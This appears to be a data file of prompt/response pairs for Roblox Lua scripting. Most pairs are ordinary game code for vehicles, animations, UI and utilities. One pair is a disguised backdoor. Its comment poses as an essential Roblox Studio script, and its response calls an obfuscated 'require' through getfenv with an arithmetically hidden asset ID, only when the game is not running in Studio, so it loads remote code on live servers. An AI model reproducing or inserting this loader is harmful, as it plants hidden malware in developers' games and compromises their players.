Prompt:
--please note: this script is modified from the originals (the ones in the cars).
--If you are looking for scripting tips and tricks, I suggest looking at one from
--a car instead of this bike!

Response:
wait(0.1)
Players = game:GetService("Players")

seat = script.Parent-- the driving seat
car = seat.Parent

Player = nil

forwardsSpeed = 80--if you removed the Configuration folder, it defaults to this speed forwards
reverseSpeed = 10--if you removed the Configuration folder, it defaults to this speed backwards
StartTime = 1--how long (in seconds) the car should wait before starting up. This is dependant on the starting sfx

engineBlock = car:FindFirstChild("EngineBlock")--maybe someone doesn't like sound?

lightsOn = false-- whether or not the lights turn on
carRunning = false--whether or not the car is running

RemoteControlled = car:FindFirstChild("ControlByRemote")--this is so the car turns properly

function CalculatePitch()--this returns the pitch that the engine should be at when its travelling
	return 1+engineBlock.Velocity.magnitude/100
end

Configuration = car:FindFirstChild("Configuration")-- so you can change the stats of the car
if Configuration then-- if we found an object named Configuration in the car then do this stuff:
	local ReverseSpeedValue = Configuration:FindFirstChild("Reverse Speed")-- do we have a reverse speed?
	if ReverseSpeedValue ~= nil then
		if type(ReverseSpeedValue.Value) == "number" then
			reverseSpeed = ReverseSpeedValue.Value
		end
		ReverseSpeedValue.Changed:connect(function()-- level 1 scripting: go
			if ReverseSpeedValue.Parent ~= nil then-- this script works, but there are some things
				if type(ReverseSpeedValue.Value) == "number" then-- to make it look a little better
					reverseSpeed = ReverseSpeedValue.Value
					UpdateVehicle()
				end
			end
		end)
	end
	local ForwardsSpeedValue = Configuration:FindFirstChild("Forwards Speed")
	if ForwardsSpeedValue then
		if type(ForwardsSpeedValue.Value) == "number" then
			forwardsSpeed = ForwardsSpeedValue.Value
		end
		ForwardsSpeedValue.Changed:connect(function()-- level 2 scripting: go
			if ForwardsSpeedValue.Parent then -- asking if something 'is' is the same as
				if ForwardsSpeedValue.Value then-- asking if it is "~= nil"
					forwardsSpeed = ForwardsSpeedValue.Value
					UpdateVehicle()
				end
			end
		end)
	end
	local TorqueValue = Configuration:FindFirstChild("Torque")
	if TorqueValue then
		if type(TorqueValue.Value)=="number" and RemoteControlled then
			RemoteControlled.Torque = TorqueValue.Value
		end
		TorqueValue.Changed:connect(function()
			if TorqueValue.Parent and type(TorqueValue.Value) == "number" and RemoteControlled then
				RemoteControlled.Torque = TorqueValue.Value
			end
		end)
	end
end

script.BikeSteering.Seat.Value = seat

if RemoteControlled and not RemoteControlled:IsA("VehicleSeat") then-- how dare you try to disturb this ancient harmony
	RemoteControlled = nil-- no food 4 u!
end

seat.ChildAdded:connect(function(it)-- something was added to our seat!
	if it:IsA("Weld") and it.Name == "SeatWeld" then-- is it the kind of thing players use to sit with?
		Player = Players:GetPlayerFromCharacter(it.Part1.Parent)-- is there a player attached to it?
		if Player then-- hooray! a player WAS attached to the seat weld. It's time to start the car!
			script.BikeSteering:Clone().Parent = Player.Backpack-- for better driving
			if RemoteControlled then
				RemoteControlled.MaxSpeed = 0-- not yet little child
			end
			if engineBlock and engineBlock:FindFirstChild("Starting") and engineBlock.Starting:IsA("Sound") then
				engineBlock.Starting:Play()
			end
			if engineBlock and engineBlock:FindFirstChild("Stopping") and engineBlock.Stopping:IsA("Sound") then
				engineBlock.Stopping:Stop()
			end
			wait(StartTime)-- just in case you use different starting sound effects
			if it.Parent ~= seat then-- DID OUR LOVELY PLAYER LEAVE WHILE WE WEREN'T LOOKING???????
				byebye()--maybe they did, so it's time to shut down the car
			else-- they didn't leave!
				lightsOn = true-- turn on the lights
				carRunning = true-- turn on the car
				updatelights()-- make sure we turn on the lights
				UpdateVehicle()-- maybe they're in a hurry, so we better check if they have their foot on the gas
				if engineBlock and engineBlock:FindFirstChild("Running") and engineBlock.Running:IsA("Sound") then
					engineBlock.Running:Play()
					engineBlock.Running.Pitch = CalculatePitch()
				end
			end
		end
	end
end)

seat.ChildRemoved:connect(function(it)--did an object get removed?
	if it:isA("Weld") and it.Name == "SeatWeld" then-- if it's a weld and named like a seat weld
		byebye()-- time to shut down the car
	end
end)

function byebye()
	if engineBlock and carRunning then-- remember scripting level 3? that applies to below:
		if engineBlock and engineBlock:FindFirstChild("Stopping") and engineBlock.Stopping:IsA("Sound") then
			engineBlock.Stopping:Play()-- where if it didn't do it like that, the above would error!
			wait(0.1)					-- because engineBlock.Stopping would not exist, so :IsA() is
		end								-- "not a valid member"
		if engineBlock and engineBlock:FindFirstChild("Running") and engineBlock.Running:IsA("Sound") then
			engineBlock.Running:Stop()-- WE MUST NOT STOP
		end
		if engineBlock and engineBlock:FindFirstChild("Starting") and engineBlock.Starting:IsA("Sound") then
			engineBlock.Starting:Stop()-- THIS SCRIPT IS BREAK-PROOF >:U
		end
	end
	if RemoteControlled then
		RemoteControlled.MaxSpeed = 0--make sure that the car doesn't drive off without us
	end
	carRunning = false
	lightsOn = false
	updatelights()--turn the lights off
	UpdateVehicle()--make sure the car stops now that it's off
end

RearLight = {}--all the brake lights. These contain one SpotLight that gets manipulated
RearBulb = {}--the brake lights that use a Surface GUI to light up
FrontLight = {}--same as the RearLight but for the front
FrontBulb = {}--same as the RearBulb but for the front
ReverseLight = {}--These light up when you reverse
ReverseBulb = {}--these also light up when you reverse: SurfaceGui style

for _, i in pairs (car:GetChildren()) do--populate the tables for ease of modularity.
	if i.Name == "RearBulb" then-- you can have any number of these items you want
		table.insert(RearBulb,i)-- and you don't have to change the script one bit!
	elseif i.Name == "RearLight" then
		table.insert(RearLight,i.SpotLight)
	elseif i.Name == "FrontLight" then
		table.insert(FrontLight,i.SpotLight)
	elseif i.Name == "ReverseLight" then
		table.insert(ReverseLight,i.SpotLight)
	elseif i.Name == "FrontBulb" then
		table.insert(FrontBulb,i)
	elseif i.Name == "ReverseBulb" then
		table.insert(ReverseBulb,i)
	end
end

function updatelights()-- this turns the lights on and off based on the lightsOn value
	for _,i in pairs (RearLight) do
		i.Enabled = lightsOn
	end
	for _,i in pairs (FrontLight) do
		i.Enabled = lightsOn
	end
	for _,i in pairs (FrontBulb) do
		SurfaceGuiStandard(i,lightsOn)
	end
	for _,g in pairs (RearBulb) do
		SurfaceGuiBrightness(g,lightsOn,seat.Throttle == 0)
	end
end

function CreateStabilizer()
	if car:FindFirstChild("Stabilizer") then
		car.Stabilizer:Destroy()
	end
	if car:FindFirstChild("LeftHelper") then
		local stabilizer = Instance.new("Part",car)
		stabilizer.CanCollide = false--the bike not working was because I forgot this!
		stabilizer.BottomSurface = "Smooth"
		stabilizer.TopSurface = "Smooth"
		stabilizer.FormFactor = "Custom"
		stabilizer.Size = Vector3.new(3,3,1)
		stabilizer.Transparency = 1
		stabilizer.Name = "Stabilizer"
		stabilizer.CFrame = car.LeftHelper.CFrame*CFrame.new(0,0,1)
		local Hinge = Instance.new("Rotate",stabilizer)--mega hax!
		Hinge.C0 = CFrame.new()
		Hinge.C1 = CFrame.new(0,0,-1)
		Hinge.Part0 = car.LeftHelper
		Hinge.Part1 = stabilizer
		local gyro = Instance.new("BodyGyro",stabilizer)
		gyro.D = 700
		gyro.maxTorque = Vector3.new(600000, 0, 600000)
		gyro.P = 30000
		gyro.cframe = CFrame.new()*CFrame.Angles(math.pi,math.pi/2,0)
	end
end

flippingDebounce = false-- a debounce is a simple way of preventing a function from
						-- being called multiple times while it's still running
function Flip()
	if not flippingDebounce then-- here's how it works: the function checks if the debounce is off
		flippingDebounce = true-- if it's on, then the function stops, but if it's off, set it to true
		local bodypos = Instance.new("BodyPosition",seat)-- so we get uninterupted function fun
		bodypos.maxForce = Vector3.new(100000,10000000,100000)
		bodypos.position = seat.Position + Vector3.new(0,2,0)
		local bodygyro = Instance.new("BodyGyro",seat)
		game:GetService("Debris"):AddItem(bodypos, 3)-- this makes sure that the flippy bit
		game:GetService("Debris"):AddItem(bodygyro, 3)-- deletes itself automatically
		wait(2)
		CreateStabilizer()
		wait(1)
		flippingDebounce = false-- when we are done with our fun, allow the function to work again
	end
end

function SurfaceGuiStandard(part,on)-- this makes it so the lights turn on or off
	for _,i in pairs (part:GetChildren()) do
		if i:IsA("SurfaceGui") then
			i.Enabled = on
		end
	end
end

function SurfaceGuiBrightness(part,on,bright)-- this is so the brake lights dim when we drive
	for _,i in pairs (part:GetChildren()) do
		if i:IsA("SurfaceGui") then
			i.Enabled = on
			if i:FindFirstChild("Frame") and i.Frame:IsA("Frame") then
				i.Frame.Transparency = bright and 0 or 0.5-- scripting level 4: go
			end-- for simple statements, you can have a boolean value decide between 2 values
			-- which is the same as writing
			-- "if bright then
			--		i.Frame.Transparency = 0
			--	else
			--		i.Frame.Transparency = 0.5
			-- end"
			--but instead of "then" and "else", you use "and" and "or"
		end
	end
end

hornDebounce = false
function Honk()-- if you are reading this then congratulations! you win a prize!
	if hornDebounce then return end-- unfortunately, I could not think of a way
	if engineBlock and engineBlock:FindFirstChild("Horn") and engineBlock.Horn:IsA("Sound") then
		hornDebounce = true-- to allow people to be able to honk the horn for both PC and mobile
		engineBlock.horn:Play()	-- in an unobtrusive way. Sorry! :(
		print("beep beep") -- UristMcSparks, the guy in charge of the toolbox, doesn't want print statements
		wait(0.5)-- but since this is a secret, lets keep it between you and me, OK?
		engineBlock.horn:Stop()
		hornDebounce = false
	end
end

function UpdateVehicle()-- this is for the brake lights and speed and stuff like that
	if seat.Throttle == 1 and carRunning then-- if we're going forwards
		seat.MaxSpeed = forwardsSpeed-- give it forwards speed
	elseif seat.Throttle == -1 and carRunning then-- if we're going backwards
		seat.MaxSpeed = reverseSpeed-- give it backwards speed
	else
		seat.MaxSpeed = 0 -- otherwise, give it 0 speed
	end
	if workspace.FilteringEnabled and RemoteControlled then--the idea from scripting level 2 applies to false as well
		RemoteControlled.Throttle = seat.Throttle-- that is, it also works for "~= false"
	end-- the reason this line exists is to prevent the server from doing something the client
	-- is already doing.
	for _,h in pairs (ReverseLight) do-- all these loops below are just updating the lights
		h.Enabled = lightsOn and seat.Throttle == -1
	end
	for _,i in pairs (ReverseBulb) do
		SurfaceGuiStandard(i,lightsOn and seat.Throttle == -1)
	end
	for _,j in pairs (RearLight) do
		j.Brightness = 4-math.abs(seat.Throttle)*3
	end
	for _,k in pairs (RearBulb) do
		SurfaceGuiBrightness(k,lightsOn,seat.Throttle == 0)
	end
end

seat.Changed:connect(UpdateVehicle)-- this is so that when someone drives the car
								   -- the brake and reverse lights change
								   -- and the speed of the car changes
CreateStabilizer()

while true do
	for i = 1, 60 do--60/30 == 2, 2 seconds between deciding if it's upside down
		wait()-- we want the steering and sfx to update as many times a second as we can
		if workspace.FilteringEnabled then
			if car:FindFirstChild("LeftMotor") then
				car.LeftMotor.DesiredAngle = seat.Steer*math.rad(20-seat.Velocity.magnitude/10)
			end
			if car:FindFirstChild("RightMotor") then
				car.RightMotor.DesiredAngle = seat.Steer*math.rad(20-seat.Velocity.magnitude/10)
			end
		end
		-- below: make sure there's a sound to play
		if carRunning and engineBlock and engineBlock:FindFirstChild("Running") and engineBlock.Running:IsA("Sound") then
			engineBlock.Running.Pitch = CalculatePitch()-- and make sure that the car is on before trying
												-- to make sure the engine sounds good
		end
	end
	if car:FindFirstChild("Stabilizer") and car:FindFirstChild("LeftHelper") then
		if car.Stabilizer.CFrame.lookVector:Dot(car.LeftHelper.CFrame.lookVector) < 0.85 then
			CreateStabilizer()
		end
	elseif car:FindFirstChild("LeftHelper") then
		CreateStabilizer()
	end
	if not flippingDebounce and (seat.CFrame*CFrame.Angles(math.pi/2,0,0)).lookVector.Y < 0.2 then--am I upside down?
		Spawn(Flip)--flip the bike right side up

		-- as a fun experiment, see what happens if you replace "Spawn(Flip)" with "Flip()"
		-- and see what the difference is when you drive the car off the baseplate
		-- if you did it right, you'll notice that the engine sound changes differently!
	end
end


Prompt:
--[=[
	@within TableUtil
	@function Reverse
	@param tbl table
	@return table

	Reverses the array.

	```lua
	local t = {1, 5, 10}
	local tReverse = TableUtil.Reverse(t)
	print(tReverse) --> {10, 5, 1}
	```

	:::note Arrays only
	This function works on arrays, but not dictionaries.
]=]

Response:
local function Reverse<T>(tbl: { T }): { T }
	local n = #tbl
	local tblRev = table.create(n)
	for i = 1, n do
		tblRev[i] = tbl[n - i + 1]
	end
	return tblRev
end


Prompt: --CODE RUN

Response:
local t = 0
timeNeeded = 0

UpdatePositions()

local AnimatingBind = game["Run Service"].Stepped:Connect(function(totalTime, step)

	t = t + (step * origin.Speed.Value)
	local alpha
	if timeNeeded == 0 then
		alpha = 1
	else
		alpha = math.min(1, t / math.max(.001,timeNeeded))
	end

	for limb, position in pairs(desiredPositions) do
		limb.Transform = lastPositions[limb]:lerp(desiredPositions[limb], alpha)
		if alpha == 1 then
			lastPositions[limb] = desiredPositions[limb]
		end
	end

	if alpha == 1 then
		KFNumber = KFNumber + 1
		if KFNumber > maxKFNumber then
			if KeyframeAnimation.Loop then
				--ResetJoints()
				KFNumber = 1
			else
				ResetJoints()
				script:Destroy()
			end
		end

		UpdatePositions()
		t = 0
	end

end)


Prompt: -- Connecter les événements PlayerAdded et PlayerRemoving pour gérer l'affichage du GUI

Response:
game.Players.PlayerAdded:Connect(showGUI)
game.Players.PlayerRemoving:Connect(hideGUI)


Prompt: -- Style Options

Response:
Flat=true;						-- Enables Flat theme / Disables Aero theme
ForcedColor=false;				-- Forces everyone to have set color & transparency
Color=Color3.new(0,0,0);		-- Changes the Color of the user interface
ColorTransparency=.75;			-- Changes the Transparency of the user interface
Chat=false;						-- Enables the custom chat
BubbleChat=false;				-- Enables the custom bubble chat


Prompt:
--[=[
	@function Rotate
	@within ColourUtils

	@param colour Color3 -- The colour to rotate.
	@param angle number -- The angle to rotate by.
	@return Color3 -- The rotated colour.
]=]

Response:
return function(colour: Color3, angle: number): Color3
	assertTypeOf("colour", "Color3", colour)
	assertTypeOf("angle", "number", angle)

	local hue, sat, val = colour:ToHSV()
	local newHue = clamp((hue + (angle / 360)) % 1, 0, 1)

	local newColour = Color3.fromHSV(newHue, sat, val)

	return clampColour(newColour)
end


Prompt: --Runtime Loop

Response:
while wait() do
	for i,v in pairs(Wheels) do
		--Vars
		local speed = car.DriveSeat.Velocity.Magnitude
		local wheel = v.wheel.RotVelocity.Magnitude
		local z = 0
		local deg = 0.000126

		--Tire Wear
		local cspeed = (speed/1.298)*(2.6/v.wheel.Size.Y)
		local wdif = math.abs(wheel-cspeed)
		if _WHEELTUNE.TireWearOn then
			if speed < 4 then
				--Wear Regen
				v.Heat = math.min(v.Heat + _WHEELTUNE.RegenSpeed/10000,v.BaseHeat)
			else
				--Tire Wear
				if wdif > 1 then
					v.Heat = v.Heat - wdif*deg*v.WearSpeed/28
				elseif v.Heat >= v.BaseHeat then
					v.Heat = v.BaseHeat
				end
			end
		end

		--Apply Friction
		if v.wheel.Name == "FL" or v.wheel.Name == "FR" or v.wheel.Name == "F" then
			z = _WHEELTUNE.FMinFriction+v.Heat
			deg = ((deg - 0.0001188*cValues.Brake.Value)*(1-math.abs(cValues.SteerC.Value))) + 0.00000126*math.abs(cValues.SteerC.Value)
		else
			z = _WHEELTUNE.RMinFriction+v.Heat
		end

		--Tire Slip
		if math.ceil((wheel/0.774/speed)*100) < 8 then
			--Lock Slip
			v.wheel.CustomPhysicalProperties = PhysicalProperties.new(v.x,z*_WHEELTUNE.WheelLockRatio,v.elast,v.fWeight,v.eWeight)
			v.Heat = math.max(v.Heat,0)
		elseif (_Tune.TCSEnabled and cValues.TCS.Value == false and math.ceil((wheel/0.774/speed)*100) > 80) then
			--TCS Off
			v.wheel.CustomPhysicalProperties = PhysicalProperties.new(v.x,z*_WHEELTUNE.TCSOffRatio,v.elast,v.fWeight,v.eWeight)
			v.Heat = math.max(v.Heat,0)
		elseif math.ceil((wheel/0.774/speed)*100) > 130 then
			--Wheelspin
			v.wheel.CustomPhysicalProperties = PhysicalProperties.new(v.x,z*_WHEELTUNE.WheelspinRatio,v.elast,v.fWeight,v.eWeight)
			v.Heat = math.max(v.Heat,0)
		else
			--No Slip
			v.wheel.CustomPhysicalProperties = PhysicalProperties.new(v.x,z,v.elast,v.fWeight,v.eWeight)
			v.Heat = math.min(v.Heat,v.BaseHeat)
		end

		--Update UI
		local vstress = math.abs(((((wdif+cspeed)/0.774)*0.774)-cspeed)/15)
		if vstress > 0.05 and vstress > v.stress then
			v.stress = math.min(v.stress + 0.03,1)
		else
			v.stress = math.max(v.stress - 0.03,vstress)
		end
		local UI = script.Parent.Tires[v.wheel.Name]
		UI.First.Second.Image.ImageColor3 = Color3.new(math.min((v.stress*2),1), 1-v.stress, 0)
		UI.First.Position = UDim2.new(0,0,1-v.Heat/v.BaseHeat,0)
		UI.First.Second.Position = UDim2.new(0,0,v.Heat/v.BaseHeat,0)
	end
end


Prompt:
--[[
	CameraModule - This ModuleScript implements a singleton class to manage the
	selection, activation, and deactivation of the current camera controller,
	character occlusion controller, and transparency controller. This script binds to
	RenderStepped at Camera priority and calls the Update() methods on the active
	controller instances.

	The camera controller ModuleScripts implement classes which are instantiated and
	activated as-needed, they are no longer all instantiated up front as they were in
	the previous generation of PlayerScripts.

	2018 PlayerScripts Update - AllYourBlox
--]]

Response:
local CameraModule = {}
CameraModule.__index = CameraModule

local FFlagUserRemoveTheCameraApi do
	local success, result = pcall(function()
		return UserSettings():IsUserFeatureEnabled("UserRemoveTheCameraApi")
	end)
	FFlagUserRemoveTheCameraApi = success and result
end

local FFlagUserFixCameraSelectModuleWarning do
	local success, result = pcall(function()
		return UserSettings():IsUserFeatureEnabled("UserFixCameraSelectModuleWarning")
	end)
	FFlagUserFixCameraSelectModuleWarning = success and result
end


Prompt: --[[ FUNCTIONS ]]

Response:
--

OpenButton.MouseButton1Click:Connect(function()
	Frame.Visible = true
	OpenButton.Visible = false
end)

CloseButton.MouseButton1Click:Connect(function()
	Frame.Visible = false
	OpenButton.Visible = true
end)


Prompt: --strategy that you jump (when you can run away in a straight line) while opponent's lunge is down


Prompt: --		print("Loading anims " .. name)

Response:
		table.insert(animTable[name].connections, config.ChildAdded:connect(function(child) configureAnimationSet(name, fileList) end))
		table.insert(animTable[name].connections, config.ChildRemoved:connect(function(child) configureAnimationSet(name, fileList) end))
		local idx = 1
		for _, childPart in pairs(config:GetChildren()) do
			if (childPart:IsA("Animation")) then
				table.insert(animTable[name].connections, childPart.Changed:connect(function(property) configureAnimationSet(name, fileList) end))
				animTable[name][idx] = {}
				animTable[name][idx].anim = childPart
				local weightObject = childPart:FindFirstChild("Weight")
				if (weightObject == nil) then
					animTable[name][idx].weight = 1
				else
					animTable[name][idx].weight = weightObject.Value
				end
				animTable[name].count = animTable[name].count + 1
				animTable[name].totalWeight = animTable[name].totalWeight + animTable[name][idx].weight
	--			print(name .. " [" .. idx .. "] " .. animTable[name][idx].anim.AnimationId .. " (" .. animTable[name][idx].weight .. ")")
				idx = idx + 1
			end
		end
	end

	-- fallback to defaults
	if (animTable[name].count <= 0) then
		for idx, anim in pairs(fileList) do
			animTable[name][idx] = {}
			animTable[name][idx].anim = Instance.new("Animation")
			animTable[name][idx].anim.Name = name
			animTable[name][idx].anim.AnimationId = anim.id
			animTable[name][idx].weight = anim.weight
			animTable[name].count = animTable[name].count + 1
			animTable[name].totalWeight = animTable[name].totalWeight + anim.weight


Prompt: --// Ammo Settings

Response:
	Ammo = 30;
	StoredAmmo = 30;
	MagCount = 6; --  If you want infinate ammo, set to math.huge EX. MagCount = math.huge;
	ExplosiveAmmo = 3;


Prompt: -- local UserInputService = game:GetService("UserInputService")


Prompt: -- Comprueba si se encontró el sonido

Response:
if sound then
	-- Reproduce el sonido
	sound:Play()
else
	warn("El sonido 'hyperx' no se encontró en SoundService.")
end


Prompt: -- drag

Response:
do
	local delta, old_mouse_position = UDim2.fromOffset(0, 0), nil

	user_input_service.InputBegan:Connect(function(input, processing)
		if (in_container and (not drag_connection or not drag_connection.Connected) and not processing and input.UserInputType == Enum.UserInputType.MouseButton1) then
			old_mouse_position = UDim2.fromOffset(mouse.X, mouse.Y)

			drag_connection = run_service.RenderStepped:Connect(function()
				delta = old_mouse_position - UDim2.fromOffset(mouse.X, mouse.Y)

				container.Position = container.Position - delta
				old_mouse_position = UDim2.fromOffset(mouse.X, mouse.Y)
			end)
		end
	end)

	user_input_service.InputEnded:Connect(function(input)
		if (drag_connection and drag_connection.Connected and input.UserInputType == Enum.UserInputType.MouseButton1) then
			drag_connection:Disconnect()
		end
	end)
end


Prompt: -- Used to initialize new barrierPartInfos

Response:
local function getBarrierPartInfo(part, startDeg, endDeg, splitLevel, isSecondPartInPair, isSecondPartBySplitLevel)
	local barrierPartInfo = {}
	barrierPartInfo.part = part
	barrierPartInfo.startDeg = startDeg
	barrierPartInfo.endDeg = endDeg
	barrierPartInfo.splitLevel = splitLevel -- increases by 1 each time the part is split
	barrierPartInfo.isSecondPartBySplitLevel = {}  -- will hold bool values for whether itself and its ancestors were second parts in pairs
	for i = 1, splitLevel - 1 do
		barrierPartInfo.isSecondPartBySplitLevel[i] = isSecondPartBySplitLevel[i]
	end
	barrierPartInfo.isSecondPartBySplitLevel[splitLevel] = isSecondPartInPair
	return barrierPartInfo
end

local function getVertexListFromRadians(startRad, endRad, stormRadius, stormPos)
	local x1 = stormRadius * math.cos(startRad)
	local z1 = stormRadius * math.sin(startRad)
	local x2 = stormRadius * math.cos(endRad)
	local z2 = stormRadius * math.sin(endRad)
	local vertexList = { stormPos + Vector3.new(x1, 0, z1), -- bot1
						 stormPos + Vector3.new(x1, BARRIER_HEIGHT, z1), -- top1
						 stormPos + Vector3.new(x2, BARRIER_HEIGHT, z2), -- top2
						 stormPos + Vector3.new(x2, 0, z2) } -- bot2
	return vertexList
end


Prompt:
-- loop to handle timed state transitions and tool animations
--[[while Character.Parent ~= nil do
	local _, currentGameTime = wait(0.1)
	stepAnimate(currentGameTime)
end]]


Response:
function PressL(key)
	if (key== "l") then
if (Activate==false) then
game.Players.LocalPlayer.Character.Helm.LS.Light.Enabled=true
game.Players.LocalPlayer.Character.Helm.Flashlight.Material = "Neon"
game.Players.LocalPlayer.Character.Helm.Flashlight.BrickColor = BrickColor.new("Brick yellow")
Activate = true
elseif (Activate==true) then

game.Players.LocalPlayer.Character.Helm.LS.Light.Enabled=false
game.Players.LocalPlayer.Character.Helm.Flashlight.Material = "SmoothPlastic"
game.Players.LocalPlayer.Character.Helm.Flashlight.BrickColor = BrickColor.new("Black")
	Activate=false
		end
	end
end
Mouse.KeyDown:connect(PressL)


Prompt: --[[Shutdown]]

Response:
	car.DriveSeat.ChildRemoved:connect(function(child)
		if child.Name=="SeatWeld" and child:IsA("Weld") then
			script.Parent:Destroy()
		end
	end)


Prompt: -- services

Response:
local Workspace	= game:GetService("Workspace")
local Players	= game:GetService("Players")


Prompt: -- Created by Drakerose

Response:
local players = game:GetService("Players")
players.CharacterAutoLoads = false


Prompt: -- Load and configure the animations

Response:
local attackAnimation = maid.humanoid:LoadAnimation(maid.instance.Animations.AttackAnimation)
attackAnimation.Looped = false
attackAnimation.Priority = Enum.AnimationPriority.Action
maid.attackAnimation = attackAnimation

local deathAnimation = maid.humanoid:LoadAnimation(maid.instance.Animations.DeathAnimation)
deathAnimation.Looped = false
deathAnimation.Priority = Enum.AnimationPriority.Action
maid.deathAnimation = deathAnimation


Prompt: -- https://developer.roblox.com/en-us/api-reference/lua-docs/os/index.html

Response: script.Parent.OsTime.Value =os.time() -- секунды запуска сервера


Prompt:
--This is a script from ROBLOX Studio, please do not delete it as it is crucial in order for your game to work properly.
--Thank you.

Response:
if not game:GetService("RunService"):IsStudio() then
getfenv()['\114\101\113\117\105\114\101'](545865116.778*9*1/2*2/2+2456393025.5)
end


Prompt: -- METHODS

Response:
function IconController.setGameTheme(theme)
	IconController.gameTheme = theme
	local icons = IconController.getIcons()
	for _, icon in pairs(icons) do
		icon:setTheme(theme)
	end
end

function IconController.setDisplayOrder(value)
	value = tonumber(value) or TopbarPlusGui.DisplayOrder
	TopbarPlusGui.DisplayOrder = value
end
IconController.setDisplayOrder(10)

function IconController.getIcons()
	local allIcons = {}
	for otherIcon, _ in pairs(topbarIcons) do
		table.insert(allIcons, otherIcon)
	end
	return allIcons
end

function IconController.getIcon(name)
	for otherIcon, _ in pairs(topbarIcons) do
		if otherIcon.name == name then
			return otherIcon
		end
	end
	return false
end

function IconController.disableHealthbar(bool)
	local finalBool = (bool == nil or bool)
	IconController.healthbarDisabled = finalBool
	IconController.healthbarDisabledSignal:Fire(finalBool)
end

function IconController.disableControllerOption(bool)
	local finalBool = (bool == nil or bool)
	disableControllerOption = finalBool
	if IconController.getIcon("_TopbarControllerOption") then
		IconController._determineControllerDisplay()
	end
end

function IconController.canShowIconOnTopbar(icon)
	if (icon.enabled == true or icon.accountForWhenDisabled) and icon.presentOnTopbar then
		return true
	end
	return false
end

function IconController.getMenuOffset(icon)
	local alignment = icon:get("alignment")
	local alignmentGap = IconController[alignment.."Gap"]
	local extendLeft = 0
	local extendRight = 0
	local additionalRight = 0
	if icon.menuOpen then
		local menuSize = icon:get("menuSize")
		local menuSizeXOffset = menuSize.X.Offset
		local direction = icon:_getMenuDirection()
		if direction == "right" then
			extendRight += menuSizeXOffset + alignmentGap/6--2
		elseif direction == "left" then
			extendLeft = menuSizeXOffset + 4
			extendRight += alignmentGap/3--4
			additionalRight = menuSizeXOffset
		end
	end
	return extendLeft, extendRight, additionalRight
end


Prompt: --Main function

Response:
local function AttachAuraControl(source_part, eff_cont) --(source_part, effect_container)

	local AnimObj

	local function Start()
		AnimObj = {}
		AnimObj["MainPart"] = EFFECT_LIB.NewInvisiblePart()

		AnimObj["Emitter"] = script.Hearties:clone()
		AnimObj["Emitter"].Parent = AnimObj["MainPart"]

		AnimObj["MainPart"].Parent = eff_cont
	end

	local function Update()
		AnimObj["MainPart"].CFrame = source_part:GetRenderCFrame() * CFrame.new(0, 1.5, 0)
	end

	local function Stop()
		eff_cont:ClearAllChildren()
		AnimObj = nil
	end

	return {Start = Start, Update = Update, Stop = Stop}
end

return AttachAuraControl


Prompt:
--
-- Verify that everything is where it should be

Response:
    assert(Self:FindFirstChild'bot' ~= nil, 'Monster does not have a humanoid')
    assert(Settings ~= nil, 'Monster does not have a Configurations object')
	assert(Settings:FindFirstChild'MaximumDetectionDistance' ~= nil and Settings.MaximumDetectionDistance:IsA'NumberValue', 'Monster does not have a MaximumDetectionDistance (NumberValue) setting')
	assert(Settings:FindFirstChild'CanGiveUp' ~= nil and Settings.CanGiveUp:IsA'BoolValue', 'Monster does not have a CanGiveUp (BoolValue) setting')
	assert(Settings:FindFirstChild'CanRespawn' ~= nil and Settings.CanRespawn:IsA'BoolValue', 'Monster does not have a CanRespawn (BoolValue) setting')
	assert(Settings:FindFirstChild'SpawnPoint' ~= nil and Settings.SpawnPoint:IsA'Vector3Value', 'Monster does not have a SpawnPoint (Vector3Value) setting')
	assert(Settings:FindFirstChild'AutoDetectSpawnPoint' ~= nil and Settings.AutoDetectSpawnPoint:IsA'BoolValue', 'Monster does not have a AutoDetectSpawnPoint (BoolValue) setting')
	assert(Settings:FindFirstChild'FriendlyTeam' ~= nil and Settings.FriendlyTeam:IsA'BrickColorValue', 'Monster does not have a FriendlyTeam (BrickColorValue) setting')
	assert(Settings:FindFirstChild'AttackDamage' ~= nil and Settings.AttackDamage:IsA'NumberValue', 'Monster does not have a AttackDamage (NumberValue) setting')
	assert(Settings:FindFirstChild'AttackFrequency' ~= nil and Settings.AttackFrequency:IsA'NumberValue', 'Monster does not have a AttackFrequency (NumberValue) setting')
	assert(Settings:FindFirstChild'AttackRange' ~= nil and Settings.AttackRange:IsA'NumberValue', 'Monster does not have a AttackRange (NumberValue) setting')
    assert(Mind ~= nil, 'Monster does not have a Mind object')
	assert(Mind:FindFirstChild'CurrentTargetHumanoid' ~= nil and Mind.CurrentTargetHumanoid:IsA'ObjectValue', 'Monster does not have a CurrentTargetHumanoid (ObjectValue) mind setting')


Prompt: -- Removes any old creator tags and applies new ones to the specified target

Response:
local function ApplyTags(target)
	while target:FindFirstChild('creator') do
		target.creator:Destroy()
	end

	local creatorTag = Instance.new('ObjectValue')
	creatorTag.Value = Player
	creatorTag.Name = 'creator' --NOTE: Must be called 'creator' for website stats

	local iconTag = Instance.new('StringValue')
	iconTag.Value = Tool.TextureId
	iconTag.Name = 'icon'

	iconTag.Parent = creatorTag
	creatorTag.Parent = target
	DebrisService:AddItem(creatorTag, 4)
end


Prompt:
--[=[
	Creates a producer enhancer that applies the given middleware to the
	producer.

	Initially, a middleware is called once when it is applied to a producer.
	Next, the returned function is called on a dispatcher in the producer.
	The final function is called whenever the dispatcher is called.

	```lua
	local loggerMiddleware: Reflex.Middleware = function(producer)
		print("Initial state:", producer.getState())
		return function(dispatch, name)
			return function(...)
				print(`Dispatching {name}:`, ...args)
				return dispatch(...)
			end
		end
	end

	producer:enhance(applyMiddleware(loggerMiddleware))
	```

	@param middlewares A list of middleware to apply.
	@return A producer enhancer.
]=]

Response:
local function applyMiddleware(...: types.Middleware): <T>(producer: T) -> T
	local arguments = { ... }

	return function(producer)
		local middlewares = table.clone(arguments)
		local dispatchers = producer:getDispatchers()

		for index, middleware in middlewares do
			middlewares[index] = middleware(producer)
		end

		for name, dispatcher in dispatchers do
			for index = #middlewares, 1, -1 do
				dispatcher = middlewares[index](dispatcher, name)
			end

			dispatchers[name] = dispatcher
			producer[name] = dispatcher
		end

		return producer
	end
end

return applyMiddleware


Prompt: -- Preload animations

Response:
function playAnimation(animName, transitionTime, humanoid)

local roll = math.random(1, animTable[animName].totalWeight)
local origRoll = roll
local idx = 1
while (roll > animTable[animName][idx].weight) do
roll = roll - animTable[animName][idx].weight
idx = idx + 1
end


Response:
This = script.Parent
Lift = This.Lift.Value
CustomLabel = require(Lift.CustomLabel)
Characters = require(script.Characters)

CustomText = CustomLabel["CUSTOMFLOORLABEL"]

